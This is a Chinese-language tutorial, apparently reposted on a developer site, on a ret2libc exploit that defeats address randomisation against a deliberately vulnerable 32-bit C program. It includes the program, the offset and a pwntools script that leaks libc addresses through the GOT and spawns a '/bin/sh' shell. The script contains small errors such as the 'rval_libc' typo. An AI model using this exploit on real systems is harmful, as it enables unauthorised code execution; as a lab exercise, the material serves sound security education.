ret2libc过地址随机化

栏目: IT技术 · 发布时间: 4年前

内容简介:之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出我们将其编译设置为栈不可执行和地址随机化

之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?

首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出

#include <stdio.h>

char buf2[20]="this is buf2";

void vul()

{char buf1[10];

gets(buf1);}

void main()

{write(1,"sinxx",5);

vul();}

我们将其编译设置为栈不可执行和地址随机化

gcc -m32 -fno-stack-protector -no-pie  -o 1.exe 1.c

接着,找出溢出点的位置:

ret2libc过地址随机化 ret2libc过地址随机化 溢出点的位置为22。

那么,我们要进行最重要的一步,找出system和’/bin/sh’的地址。这里我们需要了解几个知识点:

(1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)

(2)在 linux 的gcc使用 C语言 源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。例如通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World

(3)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用

(4)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址

(5)地址随机化并没有对PLT表、GOT表产生作用

了解到上面的知识点后,可以用下面的思路来获取地址:

(1)找到gets函数的真实地址

(2)计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址

(3)构造payload进行溢出

那么我们该如何获取gets函数的真实地址呢?

ret2libc过地址随机化 这里可以看见调用了gets()函数,还可以看见gets@plt

那么使用此语句查看PLT表:objdump -d -M intel -j .plt 1.exe

ret2libc过地址随机化 可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0×8049030

接下来我们计算计算system、/bin/sh与gets函数的相对偏移

ret2libc过地址随机化 先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库。相对偏移地址为 gets函数的真实地址减去在libc中的地址:

rva_libc=gets_real_addr-libc.symbols["gets"] 

我么就能知道system与’/bin/sh’的真实地址了,分别为:

addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rval_libc+libc.search("/bin/sh").next()

接下来我们就可以开始写 python 文件1.py了:

from pwn import *

context(arch="i386",os="linux")

p=process("1.exe")//加载1.exe进程

e=ELF("1.exe")//加载1.exe文件,分析ELF结构

addr_write=e.plt["write"]

addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中

addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址

print pidof(p)//便于进行调试

offset=22

pause()

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)/

p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads

gets_real_addr=u32(p.recv(4))//将地址转换成32位

libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库

rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移

addr_system=rva_libc+libc.symbols["system"]//system的真实地址

addr_binsh=rval_libc+libc.search("/bin/sh").next()//  '/bin/sh'的真实地址

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)

p.sendline(payload2)

p.interactive()

要注意的是payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)我们在call一个函数的时候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们将vul的地址当成函数执行完之后的跳转地址,那么就可以跳转到payload2上。而且为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来,其中’1′和’4′是write的两个参数。

而在构造payload2的时候payload2=offset*’a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0。

最后我们执行这个python文件,成功获得系统权限:

ret2libc过地址随机化


以上所述就是小编给大家介绍的《ret2libc过地址随机化》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Data Structures and Algorithm Analysis in Java

Data Structures and Algorithm Analysis in Java

Mark A. Weiss / Pearson / 2006-3-3 / USD 143.00

As the speed and power of computers increases, so does the need for effective programming and algorithm analysis. By approaching these skills in tandem, Mark Allen Weiss teaches readers to develop wel......一起来看看 《Data Structures and Algorithm Analysis in Java》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试